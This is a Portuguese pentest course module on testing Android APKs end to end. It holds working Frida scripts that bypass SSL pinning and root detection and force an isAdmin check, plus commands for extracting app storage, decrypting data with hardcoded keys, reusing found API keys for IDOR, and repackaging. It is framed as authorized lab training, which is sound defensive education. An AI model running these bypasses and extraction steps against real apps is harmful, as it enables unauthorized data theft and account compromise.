MÓDULO 16 — MOBILE HACKING (Android: fluxo completo de teste de APK com Frida)
Team Hacking78
Especialistas em Red Teaming
Resumo Executivo (TL;DR)
Teste de aplicativos Android de ponta a ponta: obtenção do APK, análise estática de manifesto e código, interceptação de tráfego, análise dinâmica com Frida (bypass de root detection e SSL pinning) e exploração de falhas. Entenda o modelo de ameaça onde o cliente não é confiável e a API é o verdadeiro alvo.

Objetivo
Testar um aplicativo Android de ponta a ponta — obter o APK, analisar estaticamente (manifesto, código, segredos), interceptar e manipular o tráfego HTTPS, analisar dinamicamente com Frida (bypass de root detection e SSL pinning) e explorar as falhas encontradas até extrair dados/credenciais.
---
MÓDULO 16 — MOBILE HACKING: Tópico 1 — O que muda no mobile (e o que não muda)
O que não muda: as vulnerabilidades de backend (API, autenticação, lógica) são as mesmas do Módulo 8 — o app é só um cliente. A API é o verdadeiro alvo.
O que muda — o modelo de ameaça mobile:
App no dispositivo do usuário (que VOCÊ controla no teste)
→ intercepta tudo (tráfego, storage, memória)
→ o "cliente" não é confiável: qualquer segredo no app é extraível
→ o servidor precisa se proteger de um cliente hostilAs classes de falha mais comuns em apps (OWASP Mobile Top 10):
M1 Credenciais/senhas fracas de autenticação (lado servidor)
M2 Falha em criptografia (algoritmos fracos, chaves hardcoded)
M3 Proteção insuficiente de dados em trânsito (sem TLS, sem pinning)
M4 Autenticação/autorização inseguras (IDOR na API, tokens fracos)
M5 Controle criptográfico insuficiente (storage inseguro)
M6 Comunicação insegura
M7 Engenharia reversa fraca (root detection/emulador facilmente bypassados)
M8 Código adulterável (repackaging fácil)
M9 Dados em excesso (coleta desnecessária — LGPD!)
M10 Lógica de negócio insegura (flows abusáveis)- Na prática, os 4 achados que mais rendem:
- Segredos hardcoded (API keys, tokens, senhas) ← análise estática
- Storage inseguro (SharedPreferences, SQLite em claro) ← análise estática/dinâmica
- Ausência de SSL pinning → interceptação total ← dinâmica
- APIs sem auth/IDOR no backend ← após interceptar
Regra de ouro do teste: o backend é o limite do escopo. Interceptar o app é permitido; atacar a API do cliente é permitido se estiver no escopo (Módulo 3). O app é a porta; a API é o cofre.
---
MÓDULO 16 — MOBILE HACKING: Tópico 2 — Fundamentos Android — o mínimo para não se perder
Estrutura de um APK:
app.apk (ZIP)
├── AndroidManifest.xml ← permissões, componentes, configurações (COMPILADO — precisa decodificar)
├── classes.dex ← o código executável (Dalvik/ART) — precisa decompilar
├── res/ ← recursos (layouts, strings, imagens)
├── assets/ ← arquivos do app (às vezes com segredos!)
├── lib/ ← bibliotecas nativas (.so — análise difícil)
└── META-INF/ ← assinatura (a chave do repackaging)O modelo de segurança (o que o atacante explora):
- Sandbox: cada app roda isolado (por UID) → apps não leem dados uns dos outros (mas: root/backup/ADB quebram essa barreira)
- Permissões: o manifesto declara o que o app pode (INTERNET, LOCATION, SMS...)
- Componentes: Activity, Service, Receiver, Provider — se EXPORTADOS sem proteção, outros apps podem invocá-los (ex.: activity de login, provider de dados)
- O usuário é o dono do dispositivo → root desbloqueia tudo (é por isso que os apps tentam detectar root — e por isso você aprende a burlar a detecção)
As 3 perguntas que guiam a análise estática:
1. O que o app PODE fazer? → manifesto (permissões, componentes exportados)
2. O que o app GUARDA? → storage, SharedPreferences, SQLite, assets
3. O que o app CONVERSA? → endpoints de API, keys, certificados, pinning---
MÓDULO 16 — MOBILE HACKING: Tópico 3 — LAB — montando o ambiente de teste (faça agora)
Topologia:
Kali (192.168.56.101) ← ferramentas: jadx, apktool, frida, mobsf, burp
Android Emulator (AVD rooted, 10.0.2.2 = host) ← app de teste
│
└── Burp no Kali (proxy) ← app aponta para o proxy (via emulador)Passo 1 — Emulador com root (o padrão de teste):
# Opção A — Android Studio AVD (recomendado):
# 1. Instale: sudo apt install android-sdk (ou Android Studio completo)
# 2. Crie um AVD com uma imagem "Google APIs" (já permite adb root)
sdkmanager "system-images;android-33;google_apis;x86_64"
avdmanager create avd -n test_pixel -k "system-images;android-33;google_apis;x86_64" --device pixel_6
# 3. Inicie:
emulator -avd test_pixel -no-snapshot -no-boot-anim
# Opção B — Genymotion (fácil, gratuito para uso pessoal) — já vem rooted
# Verificar ADB e root:
adb devices # lista dispositivos
adb root # reinicia o adbd como root (imagens Google APIs)
adb shell whoami # → root
adb shell getprop ro.debuggablePasso 2 — Instalar o app de teste:
adb install app-debug.apk
# ou para substituir mantendo dados:
adb install -r app-debug.apkPasso 3 — O app de treino (o "DVWA mobile"):
OWASP Juice Shop (web/mobile — tem versão mobile e APIs vulneráveis) ou Injured Android / UnCrackable (OWASP MASTG) — apps deliberadamente vulneráveis, perfeitos para este fluxo. Baixe um APK de lab do MASTG-Hacker (github OWASP/MASTG) — é o alvo oficial deste módulo.
---
MÓDULO 16 — MOBILE HACKING: Tópico 4 — A CAIXA DE FERRAMENTAS (o arsenal completo)
# No Kali (instale o que faltar):
sudo apt install adb apktool jadx # (jadx pode ser manual: github skylot/jadx)
# frida (client) + ferramentas:
pipx install frida-tools objection
# MobSF (opcional, análise automática — Docker):
docker pull ghcr.io/mobsf/mobsf && docker run -p 8000:8000 ghcr.io/mobsf/mobsf
# Drozer (agente no emulador + console no Kali) — para atacar componentes expostos| Ferramenta | Papel no fluxo |
|---|---|
| jadx | Decompilar DEX → código Java legível (a análise principal) |
| apktool | Decodificar recursos + smali (para modificar/repack) |
| adb | Instalar, shell, logcat, pull/push, screenshots |
| Burp | Proxy HTTPS + manipulação (Módulo 8) |
| Frida | Instrumentação dinâmica: hooks em runtime (o coringa) |
| objection | Explorar o app sem escrever script (Frida por cima) |
| MobSF | Relatório automático estático+dinâmico (triagem rápida) |
| Drozer | Atacar componentes expostos (activities/services/providers) |
---
MÓDULO 16 — MOBILE HACKING: Tópico 5 — FLUXO COMPLETO — Passo a Passo
PASSO 0 — Escopo e legal
- O app é do cliente? (ou você tem autorização escrita — Módulo 3)
- O backend (API) está no escopo? (domínios/IPs autorizados)
- Testar em device próprio/emulador (NUNCA no celular pessoal de outra pessoa)
- LGPD: dados de usuários reais coletados durante o teste → minimizar, documentar
PASSO 1 — Obter o APK
# a) Do seu próprio aparelho (se você tem o app instalado):
adb shell pm list packages | grep -i nome # achar o pacote
adb shell pm path com.empresa.app # caminho do APK
adb pull /data/app/com.empresa.app-xxx/base.apk app.apk
# b) De um dispositivo/emulador com o app instalado:
# (mesmo comando acima)
# c) De lojas alternativas (somente apps SEUS ou do escopo!):
# APKMirror, APKPure — para obter APKs de apps que você testa
# ⚠️ Baixar de terceiros = risco de APK adulterado; para pentest,
# prefira extrair do dispositivo oficial ou pedir o APK ao cliente
# d) Do Play Store via ferramentas (apkeep):
apkeep -a com.empresa.appPASSO 2 — Análise estática: o manifesto (5 minutos que valem ouro)
# Decodificar recursos e manifesto:
apktool d app.apk -o app_apktool
# O manifesto decodificado fica em:
cat app_apktool/AndroidManifest.xmlO que procurar (o checklist do manifesto):
<!-- 1. Permissões EXCESSIVAS (o app pode fazer demais?) -->
<uses-permission android:name="android.permission.SMS"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<!-- 2. Componentes EXPORTADOS sem proteção (outros apps podem invocar) -->
<activity android:name=".LoginActivity" android:exported="true"/>
<provider android:name=".DataProvider" android:exported="true"/>
<service android:name=".SyncService" android:exported="true"/>
<!-- 3. Flags de segurança -->
android:debuggable="true" <!-- app em modo debug em produção = problema -->
android:allowBackup="true" <!-- backup do app extraível via adb (dados!) -->
android:usesCleartextTraffic="true" <!-- HTTP em claro permitido! -->
<!-- 4. Network Security Config (permite HTTP? pinning?) -->
android:networkSecurityConfig="@xml/network_security_config"Ferramenta de triagem: jadx já mostra o manifesto legível; o MobSF gera o relatório automático de permissões e componentes.
PASSO 3 — Análise estática: o código (jadx — onde estão os segredos)
# Decompilar o DEX para código Java:
jadx -d app_jadx app.apk
# Resultado: app_jadx/sources/com/empresa/app/... (código legível)O que procurar (a caçada de segredos):
# 1. Strings suspeitas (API keys, tokens, URLs, senhas):
grep -rniE "api[_-]?key|secret|token|password|senha|AKIA|sk-|Bearer" app_jadx/sources/
# 2. Endpoints (a superfície de API):
grep -rhoE "https?://[a-zA-Z0-9./_-]+" app_jadx/sources/ | sort -u
# 3. Chaves de criptografia:
grep -rniE "AES|DES|RSA|secretKey|keyStore|IV|Cipher" app_jadx/sources/
# 4. Referências a storage:
grep -rniE "SharedPreferences|SQLite|getWritableDatabase|FileOutputStream|MODE_PRIVATE" app_jadx/sources/
# 5. Strings em resources e assets:
grep -rniE "senha|password|secret|key" app_apktool/res/values/strings.xml
ls -la app_apktool/assets/ # arquivos escondidos no assets!Achados clássicos nesta etapa:
- API key hardcoded em código/strings.xml → usar direto na API (ex.: Google Maps, AWS)
- Endpoint de admin ou staging esquecido → superfície extra
- Chave AES hardcoded → descriptografar dados locais
- Token de push/firebase → enviar notificações falsas
- Credenciais de teste → acesso a backendExemplo real (didático):
// app_jadx/sources/com/empresa/app/Config.java
public class Config {
public static final String API_BASE = "https://api.empresa.com/v2/";
public static final String API_KEY = "sk_live_4f8a1b2c3d4e5f6a7b8c9d0e"; // ← ACHADO!
public static final String ENCRYPTION_KEY = "MinhaChaveSecreta123"; // ← ACHADO!
}Validação (Módulo 6 mentalidade): a chave encontrada funciona? Teste com curl contra a API (se no escopo). Chave de Maps → curl na API do Google. Chave de cripto → descriptografe o storage local (Passo 6).
PASSO 4 — Análise dinâmica: interceptar o tráfego (Burp + emulador)
Objetivo: ver e manipular TODAS as requisições do app (e achar a API por trás).
# 1. Burp no Kali: Proxy → 0.0.0.0:8080 (Módulo 8.2)
# 2. No emulador, aponte o proxy para o host:
adb shell settings put global http_proxy 10.0.2.2:8080
# (10.0.2.2 = o host visto de dentro do emulador AVD)
# 3. Instale a CA do Burp no Android:
# - Exporte a CA (der) no Burp
# - Converta para .cer e instale como certificado de usuário:
# (Settings → Security → Install from storage)
# - Para apps que só aceitam CA de sistema (root):
# adb root && adb remount
# openssl x509 -inform DER -in cacert.der -out cacert.pem
# HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1)
# adb push cacert.pem /system/etc/security/cacerts/$HASH.0
# adb shell chmod 644 /system/etc/security/cacerts/$HASH.0
# 4. Abra o app → as requisições aparecem no Burp HTTP HistoryO que analisar no Burp:
- Todos os endpoints da API (mapeie com o Site Map)
- Parâmetros: tokens, IDs de usuário (IDOR — Módulo 8), campos sensíveis
- Headers de auth: como o token é enviado? (Bearer? fixo? fraco?)
- Dados em claro (se usesCleartextTraffic=true → HTTP puro)
- Respostas: dados vazados desnecessariamente (LGPD)E se o tráfego não aparecer? É SSL pinning (o app só aceita o certificado dele). O bypass é o Passo 7 — e é aí que o Frida entra.
PASSO 5 — Frida: o coringa da análise dinâmica
O que é: Frida injeta JavaScript em processos Android para interceptar funções em runtime — sem modificar o APK, sem reinstalar. Você vê argumentos, retornos, e muda o comportamento do app na hora.
5.1 Instalação (device + host)
# 1. No Kali (host):
pipx install frida-tools
frida --version # anote a versão (ex.: 16.x)
# 2. No dispositivo: baixe o frida-server da MESMA versão
# https://github.com/frida/frida/releases → frida-server-<versão>-android-x86_64.xz
# (x86_64 para emulador; arm64 para celular real)
# 3. Empurre e rode no device:
adb push frida-server /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "/data/local/tmp/frida-server &"
# 4. Testar (do Kali):
frida-ps -U # lista processos no device (U = USB)5.2 Os comandos essenciais
frida-ps -U # processos (ache o pacote do app)
frida-trace -U -i "open" com.empresa.app # rastrear chamadas a open()
frida -U com.empresa.app # console interativo (Frida REPL)5.3 O script básico (hook de função — o molde de tudo)
# hook_exemplo.py — rode com: frida -U -l hook_exemplo.py com.empresa.app
import frida
import sys
def on_message(message, data):
print(message)
js = """
Java.perform(function () {
console.log("[*] Hook instalado");
// Hook de um método de uma classe
var Classe = Java.use("com.empresa.app.Config");
Classe.getApiKey.implementation = function () {
console.log("[*] getApiKey() foi chamada!");
var ret = this.getApiKey();
console.log("[*] Valor real: " + ret);
return ret; // ou: return "CHAVE_FALSA"; para manipular
};
// Hook de uma classe anônima/método sobrecarregado:
var Cipher = Java.use("javax.crypto.Cipher");
Cipher.doFinal.overload('[B').implementation = function (data) {
console.log("[*] doFinal chamado, dados: " + bytesToHex(data));
return this.doFinal(data);
};
});
"""
session = frida.get_usb_device().attach("com.empresa.app")
script = session.create_script(js)
script.on("message", on_message)
script.load()
sys.stdin.read()O padrão mental do Frida:
1. Ache a classe/método no jadx (ex.: Config.getApiKey())
2. Hook com Java.use("...") + .implementation
3. Leia argumentos/retorno → dados que o app usa em runtime
4. Modifique o retorno → burlar a lógica do appPASSO 6 — Bypass de SSL Pinning com Frida (o mais pedido)
Quando o tráfego não aparece no Burp, o app faz pinning (só confia no certificado dele). Bypass clássico — hook nos verificadores de certificado:
// ssl_pinning_bypass.js — rode com: frida -U -l ssl_pinning_bypass.js com.empresa.app
Java.perform(function () {
console.log("[*] Bypass de SSL pinning");
// Método 1 — TrustManager (o bypass mais comum)
var TrustManager = Java.registerClass({
name: "com.empresa.TrustAll",
implements: [Java.use("javax.net.ssl.X509TrustManager")],
methods: {
checkClientTrusted: function (chain, authType) {},
checkServerTrusted: function (chain, authType) {},
getAcceptedIssuers: function () { return []; }
}
});
var SSLContext = Java.use("javax.net.ssl.SSLContext");
SSLContext.init.overload(
'[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;',
'java.security.SecureRandom'
).implementation = function (km, tm, sr) {
this.init(km, [TrustManager.$new()], sr);
};
// Método 2 — OkHttp (o mais usado em apps modernos)
var OkHttpClient = Java.use("okhttp3.OkHttpClient");
OkHttpClient.newCall.implementation = function (request) {
console.log("[*] Requisição: " + request.url().toString());
return this.newCall(request);
};
// (burlar a CertificatePinner, se existir:)
var CertificatePinner = Java.use("okhttp3.CertificatePinner");
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function (h, p) {
console.log("[*] CertificatePinner ignorado para " + h);
};
});O caminho mais rápido — objection (Frida sem escrever script):
# objection automatiza o bypass de pinning e muito mais:
objection -g com.empresa.app explore
# dentro do console:
android sslpinning disable # bypass de pinning (OkHttp/TrustManager)
android root disable # bypass de root detection
android hooking list activities # lista activities
android hooking search classes "password"Depois do bypass: reabra o app → o tráfego aparece no Burp → continue a análise de API (IDOR, auth, lógica).
PASSO 7 — Bypass de Root Detection com Frida
Apps bancários/financeiros detectam root e se recusam a rodar. Bypass hookando as checagens:
// root_bypass.js
Java.perform(function () {
console.log("[*] Bypass de root detection");
// Hook no File (as checagens de /system/xbin/su, /system/app/Superuser.apk...)
var File = Java.use("java.io.File");
File.exists.implementation = function () {
var path = this.getAbsolutePath();
if (path.indexOf("su") !== -1 || path.indexOf("Superuser") !== -1 ||
path.indexOf("magisk") !== -1) {
console.log("[*] Bloqueando checagem de: " + path);
return false;
}
return this.exists();
};
// Hook no Runtime.exec (checagens que rodam "which su")
var Runtime = Java.use("java.lang.Runtime");
Runtime.exec.overload('java.lang.String').implementation = function (cmd) {
console.log("[*] exec: " + cmd);
if (cmd.indexOf("su") !== -1) throw new Error("bloqueado");
return this.exec(cmd);
};
// Se o app usa SafetyNet/Play Integrity: hook no resultado
// (técnicas mais avançadas — depois do básico)
});Observação honesta: apps modernos com Play Integrity/SafetyNet exigem técnicas mais avançadas (frida-gadget, objection, hooks mais profundos, ou emulador com Magisk + modules). Para este módulo, o padrão File.exists + Runtime.exec cobre 80% dos apps de teste.
PASSO 8 — Análise do storage local (onde o app guarda os segredos)
# 1. Dados do app no device (precisa de root para tudo):
adb root
adb shell "find /data/data/com.empresa.app -type f" | head -50
# 2. SharedPreferences (o esconderijo nº 1):
adb shell "cat /data/data/com.empresa.app/shared_prefs/*.xml"
# 3. Bancos SQLite (o esconderijo nº 2):
adb shell "ls /data/data/com.empresa.app/databases/"
adb shell "sqlite3 /data/data/com.empresa.app/databases/app.db '.tables'"
adb pull /data/data/com.empresa.app/databases/app.db .
sqlite3 app.db "SELECT * FROM usuarios;"
# 4. Arquivos em claro (o esconderijo nº 3):
adb shell "ls -la /data/data/com.empresa.app/files/"
adb pull /data/data/com.empresa.app/files/ .
# 5. Cache e logs (o esconderijo nº 4):
adb shell "ls /data/data/com.empresa.app/cache/"
adb logcat | grep -i "token|password|key" # logs com dados!Achados clássicos:
- Token de sessão/API em SharedPreferences (em claro)
- Senhas/CPF em SQLite (em claro ou com chave hardcoded)
- Backups do app extraíveis (allowBackup=true) → dados mesmo sem root:
adb backup -f backup.ab com.empresa.app (depois: java -jar abe.jar unpack)
- Logcat vazando tokens de OAuthCom a chave do Passo 3 (AES hardcoded): descriptografe os dados criptografados locais:
# descriptografar.py — usando a chave encontrada na análise estática
from Crypto.Cipher import AES
import base64
chave = b"MinhaChaveSecreta123" # do jadx (ACHADO)
dados = base64.b64decode("c2VjcmV0bw==") # do SQLite (ACHADO)
cipher = AES.new(chave, AES.MODE_ECB) # (ECB é outra falha para reportar)
print(cipher.decrypt(dados))PASSO 9 — Exploração (o que fazer com os achados)
a) Reaproveitar a API key hardcoded:
# Chave encontrada no código → usar na API do cliente (se no escopo):
curl -H "X-API-Key: sk_live_4f8a..." https://api.empresa.com/v2/usuarios
curl -H "Authorization: Bearer <token_do_storage>" https://api.empresa.com/v2/meus-dados
# → IDOR (Módulo 8): trocar o ID e acessar dados de OUTROS usuáriosb) Manipular a lógica com Frida (burlar o que o app verifica):
// Exemplo: o app só mostra "admin" se isAdmin() == true
Java.perform(function () {
var User = Java.use("com.empresa.app.model.User");
User.isAdmin.implementation = function () {
console.log("[*] isAdmin() forçado para true");
return true;
};
});c) Repackaging (o teste de integridade):
# 1. Modificar o smali (apktool decodificou em Passo 2):
sed -i 's/const/.../' app_apktool/smali/com/empresa/app/Config.smali
# 2. Recompilar:
apktool b app_apktool -o app_mod.apk
# 3. Assinar (apksigner):
keytool -genkey -v -keystore test.keystore -alias test -keyalg RSA -keysize 2048 -validity 10000
apksigner sign --ks test.keystore --ks-pass pass:senha app_mod.apk
# 4. Instalar no emulador:
adb install app_mod.apk
# 5. Se o app roda normalmente → o app NÃO valida assinatura (falha M8 — código adulterável)d) Drozer (componentes exportados — um app chama o outro):
# Instalar o agente (drozer.apk) no emulador + console no Kali
drozer console connect
# Listar superfície de ataque:
run app.package.attacksurface com.empresa.app
# Explorar um provider exportado (SQL injection / acesso a dados):
run app.provider.query content://com.empresa.app.provider/usuarios
# Invocar activity exportada sem permissão:
run app.activity.start --component com.empresa.app com.empresa.app.LoginActivityPASSO 10 — Relatório (a entrega)
- Estrutura (adaptada do Módulo 3):
- Escopo: app (pacote, versão), device/emulador, API (domínios autorizados)
- Metodologia: estática (jadx/apktool) + dinâmica (Burp/Frida/adb) + storage
- Achados (cada um com: classe, evidência, impacto, correção):
- - Segredo hardcoded (API key em Config.java) → P1
- - Storage inseguro (token em SharedPreferences em claro) → P1
- - Sem SSL pinning (interceptação total via Burp) → P2
- - allowBackup=true (dados extraíveis via adb backup) → P2
- - Componente exportado sem proteção (provider com dados) → P2
- - usesCleartextTraffic (HTTP em claro) → P2
- - Root detection fraca (bypass trivial com Frida) → P3
- - App sem validação de assinatura (repack funciona) → P3
- A cadeia de exploração demonstrada (ex.: key hardcoded → API → IDOR → dados)
- Correções: Secret Manager, storage criptografado (Keystore), pinning, allowBackup=false, restringir export, network security config, Play Integrity
---
MÓDULO 16 — MOBILE HACKING: Tópico 6 — Automatização — MobSF (o "OpenVAS" do mobile)
O MobSF roda análise estática automática e gera relatório com achados de manifesto, código, libs, segredos:
# Já baixado no 16.4; acesse http://localhost:8000
# Upload do APK → aguarde → relatório:
# - Manifest issues (exported, backup, cleartext, debuggable)
# - Code analysis (hardcoded secrets, crypto fraco, URLs)
# - Binary analysis (libs nativas, assinatura)
# Use como TRIAGEM; confirme cada achado manualmente (Módulo 6 mentalidade)---
MÓDULO 16 — MOBILE HACKING: Tópico 7 — O fluxo completo em uma tabela (cola de referência)
| Passo | Ação | Ferramenta | Pergunta respondida |
|---|---|---|---|
| 1 | Obter APK | adb pull / apkeep | Onde está o binário? |
| 2 | Manifesto | apktool / jadx | O que o app pode? O que exporta? |
| 3 | Código | jadx + grep | Que segredos o app guarda? |
| 4 | Interceptar | Burp + proxy | Com quem o app conversa? |
| 5 | Instrumentar | Frida | O que acontece em runtime? |
| 6 | Bypass pinning | Frida / objection | Como ver o tráfego escondido? |
| 7 | Bypass root | Frida | Como rodar o app no emulador? |
| 8 | Storage | adb + sqlite | O que o app salva em claro? |
| 9 | Explorar | curl / Frida / drozer | Que impacto real os achados têm? |
| 10 | Relatório | modelo Módulo 3 | O que o cliente corrige? |
---
MÓDULO 16 — MOBILE HACKING: Tópico 8 — Atividade prática do Módulo 16
Alvo: app de LAB (Injured Android, UnCrackable, ou um APK SEU). Nunca um app de terceiros sem autorização.
- Setup: emulador AVD + adb + frida-server (16.3/16.5) — confirme frida-ps -U listando o app
- Estática: apktool d + jadx no APK de lab; liste permissões, componentes exportados, flags (debuggable, backup, cleartext)
- Segredos: rode os greps do Passo 3; encontre 2+ segredos (key/token/endpoint) e documente onde vivem
- Interceptação: Burp + proxy no emulador; navegue o app; mapeie os endpoints no Site Map
- Bypass pinning: se o app de lab tem pinning, aplique o script do Passo 6 (ou objection) e veja o tráfego
- Bypass root: se o app bloqueia no emulador root, aplique o script do Passo 7 (ou objection android root disable)
- Storage: explore /data/data/<pacote>/ (shared_prefs, databases, files, cache); extraia o que estiver em claro
- Exploração: use a API key/token achados contra a API do app de lab (ou o backend de lab) — teste IDOR trocando IDs (Módulo 8)
- Repack: modifique algo no smali, recompile, assine, instale — o app aceita?
- MobSF: rode o relatório automático e compare com seus achados manuais
- Desafio — o teste completo documentado: crie mobile_report.md em ~/pentest/evidencias/mobile/ com:
- - escopo (app, versão, device, API) + metodologia
- - análise estática: manifesto (tabela de permissões/componentes/flags) + segredos encontrados (com caminho no código)
- - análise dinâmica: endpoints mapeados, tráfego interceptado (screenshot do Burp), bypasses aplicados (scripts usados)
- - storage: tabela de dados encontrados (local, formato, sensibilidade)
- - exploração: a cadeia completa (ex.: segredo → API → IDOR → dados de outros usuários) com evidências
- - correções priorizadas (tabela) e referência ao OWASP Mobile Top 10 de cada achado
Resposta esperada: um pentest de app reproduzível — do APK ao dado extraído, com cada etapa documentada.
---
jadx (para engenharia reversa do código), apktool (para análise de manifesto e repackaging), Burp Suite (para interceptação do tráfego backend) e, sobretudo, Frida (para instrumentação e manipulação em tempo de execução) formam o canivete suíço essencial para a exploração em Android. Ao invés de focar no aplicativo isoladamente, o teste deve abranger o fluxo de ponta a ponta: do armazenamento interno (SQLite, SharedPreferences) até a API que o alimenta. Superar mecanismos como SSL Pinning e Root Detection com scripts de Frida permite revelar a superfície real de ataque no backend, transformando o aplicativo em uma porta de entrada para a infraestrutura.---
✅ Checklist de conclusão do Módulo 16
- Entendo o modelo de ameaça mobile (o cliente não é confiável; a API é o alvo)
- Montei emulador com root + adb + frida-server
- Obtenho o APK (dispositivo/emulador/loja)
- Decodifico com apktool e decompilo com jadx
- Leio o manifesto (permissões, exported, debuggable, backup, cleartext)
- Caço segredos no código (keys, tokens, endpoints, chaves de cripto)
- Intercepto HTTPS com Burp (proxy + CA no emulador)
- Uso Frida: hooks básicos (Java.use, implementation, argumentos/retorno)
- Bypasso SSL pinning (script Frida ou objection)
- Bypasso root detection (script Frida ou objection)
- Analiso storage (SharedPreferences, SQLite, files, logcat, backup)
- Exploro: API key/token → API, IDOR, repackaging, drozer
- Uso MobSF como triagem e confirmo manualmente
- Documento achados com OWASP Mobile Top 10 e correções
Perguntas Frequentes (FAQ)
Qual a diferença entre a segurança de um Web App e um Mobile App?
A principal diferença é o controle do ambiente. Em web, o código crítico fica no servidor. Em mobile, o binário (APK) inteiro está nas mãos do usuário, podendo ser revertido (decompilado), manipulado em tempo de execução (Frida) e inspecionado. Qualquer segredo criptográfico ou regra de negócio validada apenas no app (lado cliente) será inevitavelmente quebrada por um atacante.
O que é Frida e por que é essencial no Pentest Mobile?
Frida é um framework de instrumentação dinâmica (DBI). Ele permite injetar scripts (JavaScript/Python) diretamente na memória de um aplicativo em execução, hookar funções, interceptar argumentos e modificar o comportamento original do código em tempo real. Isso é vital para burlar detecções de root, remover SSL Pinning e entender o fluxo interno sem precisar modificar e recompilar o APK.
Como funciona o bypass de SSL Pinning e por que ele é necessário?
O SSL Pinning é uma técnica onde o app só confia em um certificado SSL específico, rejeitando proxies como o Burp Suite, mesmo que a CA do Burp esteja instalada no sistema. Para bypassar, usa-se o Frida para interceptar as funções de verificação (como TrustManager ou classes do OkHttp) e forçar o aplicativo a retornar 'True', permitindo assim a interceptação em claro do tráfego HTTP/REST.
Qual o impacto de dados salvos em SharedPreferences sem criptografia?
O SharedPreferences salva dados em arquivos XML locais. Embora, teoricamente, eles sejam protegidos pelo Sandbox do Android (acessíveis apenas pelo próprio app), dispositivos rooteados ou vulnerabilidades de backup (allowBackup=true) permitem que atacantes extraiam esses arquivos, expondo tokens de autenticação persistentes, chaves PII ou senhas salvas em texto claro.
